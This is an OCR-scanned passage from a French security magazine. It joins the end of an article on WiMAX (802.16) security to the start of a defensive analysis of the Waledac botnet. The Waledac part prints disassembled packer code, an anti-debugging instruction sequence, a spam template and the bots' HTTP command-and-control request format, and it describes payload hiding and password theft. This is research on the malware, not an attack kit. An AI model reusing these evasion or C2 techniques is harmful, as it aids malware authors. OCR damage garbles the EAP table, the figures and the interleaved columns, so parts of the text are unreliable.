nance, d'ergonomie utilisateur, de mutualisation avec d'autres
services d'authentification... Un tableau récapitulatif des prin-
cipales méthodes d’authentification EAP est présent ci-dessous.

Comme précédemment avec la méthode d’authentification
EAP double (et mutuelle), le choix de 'opérateur WiMAX est
dans ce cas encore plus souple pour authentifier I'éequipement
WiMAX, car elle repose sur EAP et la méthode d’authentification
EAP de son choix. Ceci apporte une grande souplesse et permet
par exemple d’authentifier 'équipement avec la méthode EAP-

SIM (en localisant une carte SIM sur I'équipement lui-méme).

2.2.2 Deérivation de clés AK, KEK

et TEK
La dérivation de AK depend de la méthode d'authentification

utilisée précédemment. La norme spécifie alors plusieurs for-

mules de dérivation de AK en fonction des parametres d'entrée
qui sont différents selon les méthodes d'authentification utili-
sées. Ces formules sont toutes basées sur une fonction appelée
Dot16KDF (pour Key Derivation Function) qui est définie dans
la section 7.5.4.6.1 de 802.16e-2005.

Grace a I'établissement de AK, une hiérarchie de clé est mise
en place afin de dériver la Key Encryption Key (KEK) utilisée
pour le transport d'une cle de chiffrement des communications
utilisateurs et des clés d'intégrité (HMAC_KEY) pour protéger
les messages du protocole PKMva.

Méthodes d’authentification EAP (mutuelles) Standard Porteur(s) Description

RFL 415!‘3 Nokia, Cisco
M ._:!1._:.!_:'.5.: i1 .'-hl::l"l, -“.-.'-:: q l- . H‘rltlrr:m{ i T
t ve M ' h—uri: Beilill

EAP-SIM (Subscriber Identity Modile)
3 Rey Agreen REC 4107 | NOKia, Enicsson | & sur autnentihication
EAP-MSCHAPV2 (Microsoft Challenge- RFC 4187 = Nokia, Ericsson IL&HPE sur un couple utilisateur - mot de passe
H:mu"-.hukr 'IHHIE‘HH{HHDI'? Protocol)
R ﬂ‘;*"E_HH t... .-'-'_.;515-,.\i“*i“1'
i ]

Paul F“-”L- {- ertificat coté serveur EP.P et autllﬁntlﬁcﬂhun il

Safenet

LAP ]1 LS { flmm IE{I ﬂ anspor r Luyc RF{. l"‘—‘Hl
Security) encapsulée i l'intérieur (basée ou non sur EAP)

lableau recapitulatif des principales methodes d authenfifications EAP

En dernier lieu, la clé TEK (qui servira a assurer la confiden-
tialité et I'intégrité des données transportées) est transmise par
des trames signalisation PKMv2 qui sont chiffrées et intégres
grace a la clé KEK précédemment dérivee. Toutes les hiérarchies
de clés sont décrites a partir de la section 7.2.2.2 de 802.16e-2005.

2.2.1.3

Authentification RSA+EAP mutuelle

Lauthentification est, dans ce cas, double et mutuelle. En effet,
il est alors possible d’authentifier la SS et la BS avec certificats
et ensuite d'utiliser le protocole EAP pour réaliser une deuxieme
authentification mutuelle avec la méthode d’authentification du
choix de l'opérateur WiMAX. Cest donc ici quon se rend compte de

l'intérét d'avoir une authentification double : une premiére se char-
gera de l'authentification de I'equipement WiMAX, une deuxieme
se chargera de l'authentification du client (I'abonné a 'architecture
WiMAX déployée par lopérateur WiMAX).

2.2 2 Chiffrement des données

Deux nouveaux mécanismes de confidentialité qui sont
basés sur AES (AES-CBC et AES-CTR) sont apparus dans
cette norme. Le mode AES-CCM proposé (en optionnel) dans la
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premiére norme 802.16-2004 est lui-méme aussi révisé pour
prévenir les attaques par rejeu. Le fait d'avoir AES comme
meécanisme de chiffrement et d'intégrité obligatoire apporte

une confiance accrue en particulier par rapport au WiMAX fixe.

2.2.4 Problématiques de sécurite

Quelques problématiques (ou interrogations) subsistent.
Concernant la gestion des certificats (pour l'authentification
basée sur RSA), aucune recommandation n’'est faite et, en
conséquence, il faut étre bien conscient des problématiques
liées aux infrastructures a clés publiques avant tout déploie-
ment. Concernant I'authentification, certaines trames EAP ne
sont pas protégées (en termes d'intégrité). Il est alors possible
de réaliser du déni de service au niveau EAP en empéchant

Mécanismes de securite WiMAX

l'authentification de réussir. Enfin, la clé TEK est toujours choi-
sie aléatoirement par la BS, ce qui laisse des doutes sur la qualité
du générateur sur cet équipement.

2.2.5 Conclusions

La norme 802.16e-2005 est un réel progres en termes de
sécurité par rapport a 802.16-2004. La tres grande majorité des
soucis qui avaient été identifiés dans la partie précédente n'ont
plus lieu d'étre et restent seulement quelques problematiques
(relativement) mineures. Le grand pas qui a été réalise laisse a
penser que les déploiements de WiMAX mobile peuvent aussi
étre réalisés pour des architectures fixes tant les améliorations
en termes de sécurité ne peuvent étre maintenant un rempart
a leur déploiement.

3. Résumé des mécanismes de sécurité WiMAX fixe

et WIMAX mobile

Mécanismes de Problématique

securite a resoudre
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Tubleau récapitulatif des mécanismes de sécurité du WiMAX

4. Les architectures WiMAX

Les architectures WiMAX sont définies dans le Networking
Working Group (NWG) du WiMAX Forum. Cela permet de
formaliser les roles des différentes briques qui composent une
architecture WiMAX car les normes IEEE ne spécifient que
les aspects PHY et MAC, aucunement les aspects architecture.
Le but du WiMAX Forum, afin de promouvoir la technolo-
gie, est d'apporter des bases conceptuelles de déploiement de
ces technologies.

Dans le schéma de la figure 8, nous constatons que le
WiMAX Forum a défini des concepts de réseau visités et réseau
d'origine. Ces concepts sont similaires a ceux déja presents dans
les technologies mobiles (GSM) et définies au 3rd Generation
Partnership Project (3GPP). Nous constatons aussi que de
nombreux éléments entrent en jeu ce qui engendre toujours
des problématiques de sécurité classiques (non inhérentes au
WiMAZX) des réseaux d'acces.

5. Autres points a ne pas négliger

5.1 Complexité versus sécurite

Les normes sont souvent complexes surtout si l'on se réfere
au nombre de pages des spécifications des standards présen-
tés dans cet article qui font entre 800 et 9oo pages ! 1l faut se
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mettre a la place des développeurs qui implémenteront un tas
de fonctionnalités pour l'accés au médium, 'authentification, le
chiffrement... Il devient alors extréemement difficile de ne pas
faire d'erreur de développement.
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IP-Based WIMAX Network Architecture

letwork

MIP-HA |

‘Connectivity
Service Network
(CSN)

OSS/BSS e

Gateway

Fig. 8 : Architecture deéfinie par le Networking Working Group

Tout comme cela a déja été montré dans de nom-
breux domaines (dont le Wi-Fi), les mécanismes de
securite robustes peuvent présenter des vulnerabilités
en termes d'implémentation logicielle, ce qui est un peu
un comble : rajouter de la sécurité, mais aussi rajouter
du code, et donc potentiellement des erreurs de dévelop-
pement potentiellement exploitables... Ce n'est bien str
pas la premiere fois que des implémentations de méca-
nismes de sécurité présentent des vulnérabilités critiques
[OPENSSL, MADWIFI]. Clest un point sur lequel il fau-
dra etre vigilant lors du déploiement de ces technologies.

5.2 Fuzzing WiIMAX

A notre connaissance, seule la société Codenomicon
— qui est spécialisée dans le fuzzing — semble travailler
sur le sujet [CODENOMICON]. Comme toute implé-
mentation digne de ce nom d'un protocole relativement
complexe, il parait évident que des problématiques de
sécurité seront induites par des défauts d'implémenta-
tion logicielle. La principale problématique aujourd’hui
consiste i étre capable d'injecter des trames arbitraires
sur un réseau WiMAX. Ceci sera certainement possible a
moindre cofits d'ici quelques années si jamais le WiMAX
suit la méme évolution que le Wi-Fi. Aujourd’hui, le cofit
d'un analyseur WiMAX est de l'ordre de plusieurs mil-
liers d’euros ce qui limite naturellement la probabilité
de ce type d'attaque (du moins a court terme pour les
attaques accessibles de tous).

5.3 Securité de 'equipement

embarqué

De maniere genérale, dés quun équipement embarque des creé-

dences d’authentification, il est nécessaire de réduire les risques en cas
de compromission de I'équipement ou tout simplement en cas de vol de
I'équipement ou de récuperation du firmware en vue de le disséquer.
I1 est donc important de se protéger au mieux contre ces attaques et de
sélectionner les méthodes et support de crédences d'authentification
les plus robustes pour réduire ces problématiques. Bien entendu, les
mesures techniques comme illustrées précédemment n'empéchent
en rien d'autres actions pour améliorer la sécurité physique comme
la pose de scellés ou la localisation géographique des équipements

WiMAX dans des zones (prétendues) siires.

5.4 Sécurité des éléments de P'ar-

chitecture

Comme toute architecture d'accés, des équipements sont potentiel-
lement accessibles des utilisateurs légitimes. Par conséquent, des efforts
doivent étre effectués sur les principes classiques de segmentation réseau
(administration des boitiers WiMAX, bornes WiMAX, routeurs de l'ar-
chitecture, équipements de sortie vers Internet...) de maniere a présenter
une forte etanchéité en termes d’accessibilité réseau. Ensuite, certains
élements de l'infrastructure de l'opérateur WiMAX sont obligatoirement
accessibles depuis des utilisateurs (DHCP, DNS...). Il faudra par conse-
quent s'assurer de la robustesse des configurations et des implémentations
logicielles de ces éléments. En résumé, un audit de sécurité complet sur
l'architecture est nécessaire, mais ceci n'est pas particulier au WiMAX.
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Mécanismes de séeurité WiMAX

Les réseaux WiMAX fixe et WiMAX mobile sont aussi
différents sur leurs usages que sur leurs mécanismes de sécu-
rité. Le premier standard est trés perfectible au niveau de ses
mecanismes de sécurité, surtout qu'il s'agit d'une technologie
radioélectrique. Cependant, il ne faut pas oublier qu'il est tou-
jours possible dutiliser des mécanismes de sécurité sur les
couches supérieures afin de pallier les manques de la spécifi-
cation. Ce fiit souvent le cas par exemple des réseaux Wi-Fi ou
I'utilisation d’IPsec (ou autre) a dii se révéler nécessaire lorsque
la nouvelle norme 802.11i a tardé a arriver. Tout dépend aussi
de I'environnement et de la criticité des informations échangées
sur reseau. Le WiMAX fixe est tout de méme bien moins pire que

les mécanismes de sécurité du Wi-Fi premier du nom (avec le
protocole WEP).

Le deuxiéme standard, par contre, est dun trés bon niveau de
sécurité. Il apporte une grande flexibilité sur 'authentification

Conclusion

en donnant l'opportunité a l'intégrateur de choisir la méthode
d’authentification la plus adaptée selon son contexte, et ce, sans
forcément nuire au niveau de sécurité de l'architecture.

Aujourd’hui, rien n'empéche l'utilisation du WiMAX mobile
dans des architectures ou le client de la Base Station sera fixe.
Les normes ont eté tres rapprochees dans le temps (2004
et 2005) et le WiMAX ne s’est clairement pas déploye de
maniére massive. Par conséquent, il est intéressant d'utiliser
aujourd hui les mécanismes de sécurité présents dans la norme
802.16e-2005 afin de garantir une bonne robustesse au
niveau de la voie radioélectrique. Viennent ensuite les proble-
matiques classiques de configuration des équipements et de
I'ingénierie securite lors de la conception de I'architecture d'ac-
cés WiMAX, mais ceci n'est pas propre a la technologie, puisque
ensuite 'accés est indépendant de la couche physique pour
l'utilisateur. W
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EN PROFONDEUR
DE WALEDAC

ET DE SON RESEAU

mots-clés : malware / réseaux peer-to-peer/ reverse engineering / cybercriminalité

aledac a fait son apparition sur internet vers la fin de lannée 2008. Ce
malware a dabord attire l'attention des chercheurs par sa ressemblance
avec la celebre famille « Storm », qui venait alors de séteindre. Au-dela de
ce probable lien de filiation, Waledac est particulierement interessant en lui-meéme,
ne serait-ce que parce que les machines du botnet qu’il constitue communiquent
a l'aide d’'un protocole peer-to-peer « maison », ou bien encore parce que ses
techniques de protection logicielles saverent particulierement efficaces contre les
antivirus. Dans cet article, nous commencerons par établir Uhistorique de Waledac,
puis nous deécrirons ses caractéristiques techniques et leur évolution dans le temps.
Ensuite, nous étudierons la structure du botnet et lalgorithme de communication
utilisé. Pour finir, des attaques avancées contre le botnet seront présentées et nous
evoquerons les liens avec la famille « Storm » en conclusion.

1. Introduction

Les premiéres versions de Waledac sont appa- —8 les cartes de veeux pour la période de Noél ;

rues sur I'Internet en novembre 2008. Le meéeca- i . :
-~ les nouvelles reliées a I'élection de Barack Obama

comme président américain (annonce de sa
démission) ;

nisme principal de propagation de ce malware était
alors d'envoyer du spam pour convaincre un utilisa-
teur de télécharger un binaire et de I'exécuter. Les

. i : s —8 les cartes pour la St-Valentin ;
themes d’'ingénierie sociale utilisés dans ce but ont P

subi de nombreuses évolutions au cours des mois, —l une fausse application d'espionnage de messages SMS ;

chacun ne restant en place que quelques semaines -8 une vidéo de feux d’artifice pour le jour de la féte de

au plus. Parmi ces nombreuses campagnes, citons : I'Indépendance américaine.

Misc N° 45 - Septembre/Oclobre 2009 53




CODE

Analyse en profondeur de Waledac et de son réseau

Avant de lancer une
nouvelle vague de pro-
pagation, la couche de
protection des binaires
Waledac est préparée et
modifiée afin d'éviter la
détection par les outils Get Your Free 30-Day Triail
de sécurité (voir sec-
tion 2.3). En paralléle,

les sites de distribution

sont mis en place avec
des graphiques et mes-
sages attractifs (voir

image ci-contre).

Quand le botnet
n'est pas utilisé pour
la propagation, les auteurs de Waledac louent ses capacités a
d’autres groupes : les noms de domaine qui sont maintenus
et spammeés sont alors, par exemple, redirigés vers des sites
de vente de produits pharmaceutiques, principalement ceux
du gang Canadian Health&Care [1]. Parallelement, d’autres
malwares sont téléchargés sur les machines infectées, typi-
quement des faux anti-virus. Le botnet alterne ainsi entre des

phases de propagation et de rentabilité.

Do yoiu want bo test your partner of [ust to read somebody's SMS? This program s
exactly what you need then! IUs 50 easy’ You don't need to Install it at the mobile
phone of your partner. just downioad the program and you will abie to read all
SMS when you are online. Be aware of everything! This 5 an extremely new
sanvicel

£ SMS Spy. All rights reserved

Figure 1

Le nombre de systémes
infectés par Waledac a beau-
coup varie au cours de I'evolu-
tion du botnet. Par exemple, il
a grossi de fagon conséquente
lorsqu'un autre malware,
Conficker, I'a déployé sur une
partie de son réseau [2]. Vu
le nombre important de sys-
témes infectés par Waledac,
Microsoft a décidé, en avril
dernier, d'ajouter ce malware
a sa liste de routines de net-

toyage, la Malicious Software
N Removal Tool. 1ls affirment

avoir désinfecté plus de
20 000 systemes lors de cette opération [3].

De par la structure du botnet (voir section 3), il est diffi-
cile d’avoir une idée précise du nombre de machines infectées.
Néanmoins, de par nos mesures, il nous semble correct de dire
qu’il y a au moins 40 000 systemes qui participent au botnet
actuellement. Cela ne fait pas de Waledac le plus gros réseau de
machines infectées a I'heure actuelle, mais il est trés certaine-
ment un des plus actifs.

2, Caractéristiques techniques

2.1 Vecteurs d’'infection

Comme décrit a la section 1, Waledac utilise I'ingénierie
sociale pour se propager. Ainsi, plusieurs thémes différents ont
été utilisés par cette famille de malwares, mais l'objectif sous-
jacent demeure le méme : convainere un internaute de téléchar-
ger un fichier et de I'exécuter. C'est un vecteur d'infection trés
classique et visible, mais ce n'est pas le seul a étre actuellement
utilise par Waledac.

En effet, la principale facon dont il se propage est I'instal-
lation de ses binaires par d’autres malwares, 'exemple le plus
mediatisé ayant été celui de Conficker. A cet effet, le gang qui
opere Waledac s’est doté d'un mécanisme pour surveiller les
installations faites par d’autres familles : lors de la connexion au
réseau peer-to-peer, les bots communiquent un « label » qui est
une valeur codée en dur dans le binaire et qui est différente pour
chaque déploiement. Par exemple, le label « twist » a été utilisé
pour les binaires installés par Conficker [4] et « dmitry777 »
par Bredolab. D’aprés nos observations, de mai a juillet, les
machines du botnet Waledac infectées lors des campagnes d'in-
genierie sociale ne représentaient que 2%. Toutes les autres ins-
tallations ont été effectuées par d’autres familles de malwares.
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Cela montre donc un modéle d’affaire particulier ou les
malwares s'installent entre eux, contre rémunération. Rajoutons
a cela que grace a une redirection d'URL oubliée par les auteurs
de Waledac, nous avons observé que le répertoire stockant les
binaires a distribuer aux autres familles se nomme « par-
tnerka », mot russe signifiant « partenariat » et qui est utilisé
pour désigner la communauté du spam en Europe de I'Est...

2.2 Binaire

Le cceur du code de Waledac a été développé suivant le
paradigme de la programmation objet avec le langage C++. Cela

ajoute quelques difficultés a son etude, car il faut comprendre
les liens entre les classes sans bien siir avoir le code source.
Néanmoins, il existe des moyens de reconstruire I'architecture
du programme en s'aidant de mécanismes liés au compilateur
utilisé par Waledac, Visual C++ [5]. Ainsi, le binaire a été codé
sous formes de plugins dont les noms sont explicites quand a
leur utilite :

—# CdosPlugin pour les attaques par déni de service que le bot-
net peut lancer. Deux méthodes différentes, contenues dans les
classes CSynFloodTask ou ClonnectFloodTask, peuvent étre utilisées.




—l CkadPlugin pour la add

bl, ch mou ebp, esp
’ 5 sub edi, eax 1ea edx, [edx
gestlﬂn reseau. Il est sub ecx, 1%h mou esi, 1DI!IEII:'I|
intéressant dE noter mou ebx, offset unk 4B59FB mouv ecx, 166Bh
: : dec eax lea eax, [esi-70n]
le préfixe « Kad » qui add esi, 433Fh sub edx, 483Bh
: i ; push ebx mou ebx, eax
fait penser a Kademlia, ﬂm:h EI;: it gt e push  eax : nTimedut
: 2 pus offset a WMSS s "\ xX1E-Abaeunhs-]1 X0r eax, S5DDh
l'algorithme de commu- call ﬂ5=”ﬂit?HHEﬂFiPEH push offset aZkyloFz2?sdpi6 ; “Z\x15\x 18l
. . sub ebx, es call ds:WaitHamedPipen
nication peer-to-peer o= eax, [ebp+var 50] xor edx, 7Ch ;
ligd add bh, bh moy al, al
utilisé par Storm [6], 5 e i st e
mais celui de Waledac call ds:GetComnandLinen call ds:GetCommandLinen
’ ' : " . add esi, ebx dec ebx
n'a en fait rien a voir lea eax, unk_A87587 xor edx, ebx
: xor edi, eax dec ebx
(voir 3.2). nou ebx, ds:dword_b61A00 Tea esi, [edx+15h]
mowy ebx, offset sub_4B10F9 lea eax, unk 491723
—i CS“iffErPIugin pour add esi, 2263h moy 2ax, offset sub LB BED
T, R lea edi, [ebp+hProcess] ROy ebx, eax
la capacité d’écoute call  ebx ; sub_k@10F9 lea ecx, unk 4OA513
- - sub esi, 17h sub esi, SF8Dh
réseau (voir 2.3.2). push ebx . dwPriorityClass call eax : sub 4B10ED
add ebx, edi Xor ebx, 13h
—8 CSockssPlugin pour push  edi ; hProcess push  eax : dwPriorityClass
i . call ds:SetPriorityClass Xor Fax, esi
la répétition du trafic lea eax, [ebp+uar 28] push  esi : hProcess
. . call ds:SetPriorityClass
réseau (voir 3). lea edx, [ebp+uar 28]

La taille des binaires
est de plus de 860 Ko, ce
qui est plutot gros par rap-
port a la majorité des malwares. Ceci s'explique d’abord parce
que le cceur du binaire posséde de nombreuses fonctionnalités,
mais aussi et surtout parce qu'il est statiquement lié a plusieurs
bibliothéques. Par exemple, OpenSSL 0.9.8e [7] pour les capaci-
tes cryptographiques ou encore TinyXML [ 8] pour gérer facile-
ment le langage XML qui, comme nous le verrons, est beaucoup
utilisé par Waledac.

2.3 Protection

La couche de protection (packer) des binaires Waledac

englobe le cceur du code et est censée empécher la détection
par les antivirus ou encore décourager les chercheurs un peu
trop curieux. Elle constitue un des points forts de cette famille,
car elle s'est montrée, et se montre toujours, particuliérement
efficace pour échapper aux détections des logiciels antivirus.
Une des principales raisons de ce succes est le nombre impres-
sionnant de versions différentes que les auteurs de Waledac
ont publiées : durant certaines campagnes de propagation, la
couche de protection des exécutables était ainsi modifiée toutes
les heures, et ce, pendant plusieurs jours d’affilée.

2.2.1 Packer et évolution dans le

temps

Pendant le premier mois de propagation, les binaires
Waledac étaient seulement compressés avec UPX [9], un packer
libre disponible sur Internet qui ne posséde aucune capacité de
protection (il est d’ailleurs toujours utilisé pour compresser le
cceur des binaires Waledac). En janvier, la premiére famille de

Figure 2

protections est apparue : résolument orientée contre les applica-
tions antivirus, ses premiéres versions utilisaient des techniques
anti-émulations telles que des longues boucles de code inutile
pour ralentir les émulateurs ou encore des appels 4 des fonctions
exotiques avec des arguments aléatoires, tout cela permettant
de générer facilement de nombreuses variantes du binaire. Par
exemple, voici des extraits de code de deux versions publiées a
quelques heures d'intervalle : voir Figure 2.

Le suivi entre les premiéres versions de cette famille est assez
facile, car certaines parties du code sont restées inchangées. Par
exemple, pour éviter de stocker le nom des fonctions nécessaires
au processus d'unpacking du binaire (ce qui pourrait étre vu
comme un indice de code malveillant par certains antivirus), des
signatures calculées a partir du nom de la fonction sont utilisees
pour résoudre les imports. Le calcul de ces signatures suit
toujours le méme algorithme et représente un point commun.
De méme, des fonctions de copie mémoire « maison » ont été
utilisées pendant plusieurs mois sans subir de modification.

Les versions plus récentes de cette famille sont remarquables
par leur utilisation intensive de code inutile. Globalement, la
méme recette est toujours utilisée ; de tres longues boucles com-
posées de bouts de codes pour la plupart inutiles et disseminés
dans toute la mémoire. Ces bouts de codes sont reliés par des
appels de fonctions ou des sauts conditionnels.

On remarque aussi 'arrivée de protections anti-débogages,
bien qu'elles soient peu nombreuses (a ce jour, seulement deux
meéthodes différentes ont été utilisées) et assez simples. La plus
employée se base sur l'interruption ox2E des processeurs Intel
qui est utilisée sous Windows pour lancer des appels systéme
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et qui a été remplacée apres Windows 2000 par I'instruction
J1SENTER [10]. Pour utiliser cette interruption, on place norma-
lement un numéro d'appel systéme dans le registre EAX avant
de la lever. Waledac I'utilise de la facon suivante :

MOV EAX,-1
INT 2E
CMP WORD PTR DS:[EDX-2],2ECD

On appelle donc I'interruption en ayant prealablement placé
un numero d’appel systéme invalide dans EAX. Le comporte-
ment normal du systeme dans ce cas-la est de placer un code
d’'erreur dans EAX et de positionner EDX sur l'instruction
suivante. Au moment de la comparaison, EDX-2 pointe donc
normalement sur l'instruction [T 2t dont les opcodes sont bien
2ECD. Par contre, sous le contréle d'un débogueur, le registre
EDX va étre mis a oxFFFFFFFF si on exécute pas a pas ces ins-
tructions. Ainsi, la comparaison entrainera un accés mémoire
invalide ce qui fera échouer le programme. 11 est donc facile de

passer cette technique en modifiant la valeur du registre EDX.

La deuxiéme famille de couches de protection utilisée par
Waledac a été déplovée de février & mars. Elle se distingue faci-
lement de la précédente, car le cceur de son code a toujours la
méme structure. Une zone mémoire de travail contenant du
code, les noms des fonctions a importer et une table décrivant
les sections du binaire original va étre déchiffrée. Ensuite, le
code va résoudre les imports et utiliser des données contenues
dans chacune des sections du binaire original pour déchiffrer
une version compressée du binaire final. Un algorithme de
décompression issu de la bibliothéque aPLib [11] est finalement
utilisé pour obtenir le ceceur du binaire.

La premiere famille de protections est celle qui a donnée lieu
au plus grand nombre d'évolutions différentes et elle est encore
utilisée a I'heure actuelle pour protéger les binaires Waledac, en
suivant les mémes techniques de code inutile qui permettent la
génération dun grand nombre de variantes.

2.3.2 Utilisation d’un driver

Grace a une exploitation du botnet Waledac (décrite en 3.3),
nous avons la possibilité de suivre facilement la publication de
nouveaux binaires par ses auteurs. Au mois de mai, nous avons
ainsi assisté a 'arrivée de versions particuliéres qui utilisent
un driver Windows pour déployer le malware sur la machine.
Le caractére expérimental de ces binaires est démontré par le
suffixe exp accolé a leurs noms et par le nombre de versions dif-
férentes publiées (1abe]_expl.exe, label_expZ.exe, etc.) quiestde 7a
ce jour, sachant que la derniére a été publiée au mois de juillet.

Les binaires contiennent seulement, en plus d'une couche

de protection similaire aux versions classiques, le code en .Net
nécessaire a 'enregistrement du driver en tant que service, ce
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qui permet son chargement a chaque démarrage de la machine
infectée. Lorsqu'il est chargé, il injecte du code dans le proces-
sus svchost.exe, ainsi qu'une URL vers un binaire classique. Ce
code va lancer le télechargement, puis l'exécution de cet exécu-
table. Ainsi, la persistance du malware ne se fait plus par une
simple clé de registre comme c’est le cas dans les autres versions.

A

Le driver contient la chaine de caractéres Gootkit 2.5
qui correspond au kit de développement ayant servi a le
programmer [12]. Il possede la capacité de parcourir la liste des
processus en cours a la recherche de certains antivirus pour les
désactiver, mais cette fonctionnalité n'est pas employée dans le
cas de Waledac.

Ces versions avec driver n'ont pas été utilisées lors de la der-
niere campagne de propagation. Elles ont pour I'instant été seu-
lement déployées sur des machines déja infectées par d’autres
malwares. Peut étre parce que ses auteurs n'en sont pas encore
satisfaits ou bien parce qu'ils préferent exploiter cette méthode
de déploiement plus complexe seulement sur des machines par-
tagées entre plusieurs malwares, afin d'étre en meilleure posi-

tion que leurs « amis » restés en espace utilisateur.
2.4 Payloads

2.4.1 Spam

Le but principal de Waledac est d'envoyer des emails indé-
sirables, que cela soit pour ses propres sites afin d'infecter de
nouvelles machines ou pour d’autres groupes comme Canadian
Health&Care. Dans ce but, les binaires embarquent tous un
moteur SMTP. Pour étre plus efficace, des templates de mes-
sages sont distribués aux machines par le biais du réseau peer-
to-peer. Par exemple, pour la derniére campagne concernant la
féte de I'Indépendance américaine du 4 juillet :

Received: from %*CE%"P%"R3-6"%:qwertyuiopasdfghjkizxcvbnm*3*%
([RACORMME. AL VE A TMENED) by 32AME

with Microsoft SMTPSVC(%*Fsvcver®$): %'D*%

Message-10:

Date: 3"0*%

From: "R*Fmynames*% %*Fsurnames*y"

User-Agent: Thunderbird %*Ftrunver*¥

MIME-Version: 1.8

To: #'8"%

Subject: ®*Fjuly*®

Content-Type: text/plain; charset=150-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

w R Fjuly®® http://%"PR"R2-6*%:qwertyuiopasdfghjklzxcvbnmeuioa”s. "
Fiuly_Tink*%/"%

On remarque un certain nombre de macros qui indiquent
au bot comment remplir le template, par exemple %'f suivie dun
mot pour une valeur a choisir dans un ensemble qui sera ensuite




donné par les serveurs de controle, ou encore {'f suivie d'un inter-
valle pour une valeur aléatoire. Remarquons que ces templates
sont exactement les mémes que ceux utilisés par Storm [6].

2.4.2 Vol d'information sur le

disque

Une évolution apportée au binaire aprés quelques mois de
propagation fiit la création d'un nouveau thread chargé d'explo-
rer le disque dur de la machine infectée i la recherche d’adresses
de courrier électronique. A cet effet, une liste d’extensions de
fichiers est embarquée (.avi, .mp3, .72...) et tous ceux dont I'ex-
tension n'y est pas sont parcourus. De plus, un mécanisme de
répartition de charge est utilisé : si la lecture de 0x2000000
octets prend plus de temps qu'une valeur prédéfinie, alors le
thread s’'endort pendant une durée proportionnelle au dépas-
sement de temps. Ainsi, le malware est plus furtif en cas de

surcharge de la machine.

2.4.3 Capture de mots de passe

Waledac utilise la bibliothéque Winfcap [13] qu'il installe sur
les machines nouvellement infectées afin de capturer le trafic
réseau. Cette bibliothéque est téléchargée sous la forme d'une
image au format JPEG qui contient un exécutable « caché ».

™

-..rf-":___i | CODE

—

La technique utilisée est trés simple : une valeur particuliére
servant de marqueur est accolée i la fin d’'une image classique,
suivi de l'exécutable dont chacun des octets subit I'opération
XOR avec la clé oxED. L'installateur de WinPcap utilisé par
Waledac est une version modifiée de I'installateur officiel : il
contient seulement les capacités d’écoute passive du réseau et
il est capable de s'exécuter de facon invisible pour 'utilisateur.

Une fois I'installation réussie, le malware filtre le trafic pour
rechercher les mots de passe FTP, SMTP et HTTP qui transitent
sur le réseau. Il les transmet ensuite aux serveurs de contréle.

2.4.4 Installation d’autres

malwares

En plus d’étre installé par d’autres familles de malwares,
Waledac inclut aussi une fonctionnalité qui lui permet de
telecharger et d'exécuter des binaires (voir 3.2.1). Durant les
4 derniers mois, il a ainsi installé & plusieurs reprises de faux
antivirus sur les systémes nouvellement infectés. Il télécharge
en méme temps des applications faisant état de facon « visible »
de I'infection de la machine (par exemple des popup pornogra-
phiques), pour inciter I'utilisateur a croire 'antivirus qui lui
annoncera un nombre record d'infections avant de lui demander
son numeéro de carte bleue pour le désinfecter.

3. Communications

D'apreés notre analyse (voir image ci-contre), I'architecture du

botnet Waledac se compose actuellement d’au moins 4 couches,
quon peut définir comme ceci :

—# Les spammeurs : ce sont les bots qui réalisent le travail de
base comme envoyer les messages indésirables ou exécu-
ter les attaques par déni de service. Ce sont des machines
Windows ayant seulement des adresses IP privées. Ils ne se
connaissent pas entre eux et vont chercher leurs tiches i
accomplir en contactant les « répéteurs » dont ils stockent
et mettent a jour les adresses (voir 3.2.2).

— Les répéteurs : ils servent de relais pour les informations
de controle du botnet, mais aussi de proxys HTTP et ser-
veurs DNS pour les noms de domaines utilisés par Waledac
(technique de double fast-flux DNS [14]). Ces machines ont
une adresse IP publique directement sur une de leurs inter-
faces et modifient le firewall Windows pour étre joignable
de I'extérieur. Ils relayent les requétes des spammeurs vers
les serveurs de controle en passant par les « protecteurs ».
Quand il s'agit de leurs propres requétes, ils passent égale-
ment par un autre répéteur.

—

Serveur de contrble

Protecteurs

Répéteurs

Spammeurs

Figure 3
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—8 Les protecteurs : il s'agit de serveurs Linux situés chez des pouvoir leur transmettre le trafic de contréle du botnet. Nous
hébergeurs « standards » et exécutant différentes versions allons d'abord décrire ce trafic pour ensuite nous intéresser aux
de nginx [15], un serveur HTTP léger utilisé comme proxy. mécanismes de mise a jour des deux listes et finalement expli-
Ils ont eté pendant plus de trois mois au nombre de cing, quer quelques faiblesses que nous avons identifiees.

disseminés un peu partout dans le monde (2 en Allemagne,
1 aux USA, 1 en Russie et 1 aux Pays-Bas). Recemment, un

3.2.1 Trafic de controle

ajout a eu lieu et un 6éme protecteur situé en Allemagne

est apparu. D'aprés nos informations, certains des héber- Les bots utilisent le protocole HTTP pour communiquer et la

geurs incrimines ne semblent pas faire réellement du structure des messages est la suivante :
« bullet-proof hosting », mais plutét semblent ne pas sur- POST /jyl.png HTTP/1.1
Referer: Mozilla
Accept: */*

veiller les serveurs qui sont sous-loués.

M Le(s) serveur(s) de controle : il pourrait étre possible que les ﬁg;ir;e:;::{['re;mggﬂ;cat1ﬂm’x-ﬂﬂw-furmtuﬂentndm
protecteurs soient eux-mémes les serveurs de controle du Host: A.B.C.D
botnet, mais ce qui nous pousse a croire a l'existence d'une Content-Length: 1304

; . Cacne-Control: no-cache
couche supérieure est le fait que les champs HTTP [ate des

réponses des protecteurs ont la méme valeur quand on les a=BwAAC3drvsqwur_....JBJ1PTcpNrERG-cTuHr-Rb=AAAAAA
interroge au méme moment. Il s'agit donc d’une
Comme il semble peu pro- TR

requéte POST sur une

bable que les auteurs de Bot Serveur de controle image au nom aléatoire
Waledac aient synchronisé —— (qui peut aussi étre un
6 serveurs de controle, nous ‘-—:"":‘:’_______ fichier .htn) dont les
pensons qu'ils sont seule- champs sont remplis
il!l"-l|.n"".* .
ment des proxys pour une e o de fagon classique. Par
autre couche constituée d'un PRIy exemple, H05t contient
serveur de controle ou d'un ——— Froeae I'adresse du répéteur a
T ! 1 ¥ 4
autre proxy. C'est ce dernier neotify wessnn ENVoyé une fois seulement qui est envoye le message.
serveur qui contiendrait 4-"""""——-__ Le bloc de données de la
: 3 --h__q — W SPaMMeEUn s & . -
toutes les informations sur requéte est constitué de

le botnet et son opération. 4_____...—----""" — s REpéteurs deux parties. Derriere le

Ainsi, une machine nou- " - parametre « i », se trouve

vellement infectée sera soit un le message en langage

spammeur, soit un répeteur, XML qui a été compresse

selon gu'elle a une adresse IP et = avec l'algorithme Bzz2,
publique ou non. Il est possible =i puis chiffré en AES-128
de forcer son role en passant au Sl S et finalement encodé en
binaire les arguments -§ pour un taskrep base64. Derriére « b »,
